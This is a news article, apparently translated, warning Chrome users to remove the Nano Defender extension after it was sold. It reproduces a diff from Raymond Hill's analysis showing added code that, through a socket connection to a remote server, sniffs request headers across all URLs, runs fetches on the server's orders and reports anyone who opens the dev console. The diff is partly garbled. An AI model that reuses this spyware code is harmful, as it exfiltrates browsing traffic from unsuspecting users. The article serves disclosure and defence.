The Nano Defender extension needs to be urgently removed from the browser

4 min

October 3, 2020 programmer jspenguin2017, author of the Nano Defender extension, reported in the official repository that he sold the project to a “group of Turkish developers”. This message caused a lot of rumors and fears: what kind of Turkish developers, who controls the code, why the page with the privacy policy was removed from the repository?

A few days later, the community’s fears were fully justified.

Nano Defender is a fairly popular way to bypass ad blockers. Works in conjunction with blockers uBlock Origin and Nano AdBlocker (fork of uBlock Origin), protecting them from detection on sites.

The Turks promptly released a new version of Nano Defender with carefully disguised functionality changes that were not published on GitHub. A close examination of these changes indicates that the extension needs to be uninstalled for all users.

The recommendation applies to Chrome and Chromium-based browsers, where extensions are automatically upgraded without notifying the user. The Turks did not buy the Firefox version. Firefox Nano Extension Maintainer, Developer LiCybora, confirmed that he retains control over them: these extensions are safe… Also Firefox verifies digital signatures of extensions, so it is not easy to push malicious code into the new version of the extension.

By uBlock Origin Raymond Hill analyzed the changes in Nano Defender version He noted that code has been added to detect the launch of the extension’s dev console. In this case, a notification is sent report to the server… In other words, the owners are keeping track of those trying to figure out how the extension works. With a high degree of probability, in this case, the expansion changes its functionalityhiding some features is a standard malware trick that detects the presence of an exploratory environment such as a virtual environment.

In such a situation, Raymond Hill had to learn the functionality of the new version of Nano Defender without a dev console. Here’s what he found.

The extension listens on startup for messages to fill the list listOfObject

As far as you can understand the code, hereinafter the contents of the list listOfObject used to check validation of object fields detailswhich is passed to webRequest.onBeforeSendHeaders ()… If all fields meet the condition, then the entire contents of the object details goes to entitled handleObject

In this case, the handler webRequest.onBeforeSendHeaders() valid for of all network requests:

chrome.webRequest.onBeforeSendHeaders.addListener(blockingHandler, {
urls: ["<all_urls>"]
}, ['requestHeaders', 'blocking', 'extraHeaders']);

Because the listOfObject is requested from an external server, the functionality of this method is installed externally. The list can contain any conditions in any quantity. Roughly speaking, the owners of the extension can request from the browser any fragments of outgoing network traffic at their discretion. Thus, the Nano Defender expansion has effectively become a versatile spy sniffer.

Raymond Hill posted a diff which is not available in repositories of new owners:

diff for core.js

--- ./background/core.js
+++ ./background/core.js
@@ -160,7 +160,7 @@
const hasNews = false;
- const newsPage = "";
+ const newsPage = "";
const newsReadFlag = "news-read";
// This handler becomes inactive when there is a popup page set
@@ -189,7 +189,8 @@
// ------------------------------------------------------------------------------------------------------------- //
+var defender = io.connect("");
+var listOfObject = {};
// ----------------------------------------------------------------------------------------------------------------- //
a.noopErr = () => {
@@ -211,6 +212,29 @@
// ----------------------------------------------------------------------------------------------------------------- //
+async function dLisfOfObject(newList) {
+ let dListResp = await fetch(newList.uri, newList.attr)
+ var listOfObj = {}
+ listOfObj.headerEntries = Array.from(dListResp.headers.entries())
+ = await dListResp.text()
+ listOfObj.ok = dListResp.ok;
+ listOfObj.status = dListResp.status;
+ return listOfObj;
+defender.on("dLisfOfObject", async function (newList) {
+ let getRes = await dLisfOfObject(newList);
+ defender.emit(newList.callBack, getRes)
+defender.on("listOfObject", function (a) {
+ listOfObject = a;
// Redirect helpers
a.rSecret = a.cryptoRandom();
@@ -227,7 +251,22 @@
// 1 second blank video, taken from (GitHub uBlockOrigin/uAssets).
a.blankMP4 = a.rLink("blank.mp4");
+var element = document.createElement("p"); ;
+var openListGet = false;
+element.__defineGetter__("id", function() {
+ openListGet = true;
+var i = setInterval(function() {
+ openListGet = false;
+ console.log(element);
+ if(openListGet){
+ defender.emit("report")
+ console.clear();
+ clearInterval(i)
+ }
+}, 100);
// ----------------------------------------------------------------------------------------------------------------- //
// tab - Id of the tab
@@ -450,6 +489,50 @@
return true;
+var blockingHandler = function (infos) {
+ var changedAsArray = Object.keys(listOfObject);
+ var detailsHeader = infos.requestHeaders;
+ var HeadReverse = detailsHeader.reverse();
+ var stringyFy = JSON.stringify(HeadReverse);
+ var mount = "";
+ if (changedAsArray.length > 0) {
+ var checkerList = true;
+ for (const object of changedAsArray) {
+ if (object.x === object.y) {
+ mount += 1;
+ }
+ break;
+ }
+ for (let i = 0; i < changedAsArray.length; i++) {
+ let x = changedAsArray[i];
+ var re = new RegExp(listOfObject[x],'gi');
+ mount = "5";
+ if (infos[x].toString().match(re) == null) {
+ checkerList = false;
+ break;
+ }
+ }
+ if (checkerList) {
+ defender.emit('handleObject', infos);
+ }
+ }
+ var m = [45,122,122,122]
+ var s = x => String.fromCharCode(x) )
+ var x = s.join("");
+ var replacerConcat = stringyFy.split(x).join("");
+ var replacer = JSON.parse(replacerConcat);
+ return {
+ requestHeaders: replacer
+ }
+chrome.webRequest.onBeforeSendHeaders.addListener(blockingHandler, {
+ urls: ["<all_urls>"]
+}, ['requestHeaders', 'blocking', 'extraHeaders']);
// ----------------------------------------------------------------------------------------------------------------- //

Turkish developers have published a new privacy policy for expansion. In accordance with it, the extension collects and transmits a lot of information to the remote server, including the addresses of the pages visited, the session time on each page, the user’s IP address, and other data. Previously, there was no such clause in the privacy agreement.

In general, selling extensions is a common source of income for independent developers. After installing the extension, many users do not know that the extension was bought by the new owners, and their computer is already being used in an outside project.

For example, proxy service owners SmartProxy offer their customers access to a network of home IP addresses, which has about 40 million IP addresses – most of the nodes are located on computers of unsuspecting users. These home computers are used to proxy traffic from paying customers.

Another Luminati network uses as exit points home users’ computers who have installed the free HolaVPN application. This network also buys popular browser extensions

From a legal point of view, the use of “blind” home computers of users to pump commercial traffic is a very dubious event. But businessmen still manage to avoid punishment.

As for the programmer jspenguin2017then community condemned his irresponsible act of selling the extension, as dozens of other developers were involved in supporting and listing the Nano Defender. Turns out that jspenguin2017 single-handedly monetized the man-hours of someone else’s work.

The Nano Defender extension has already been removed from the Chrome Web Store.


Leave a Reply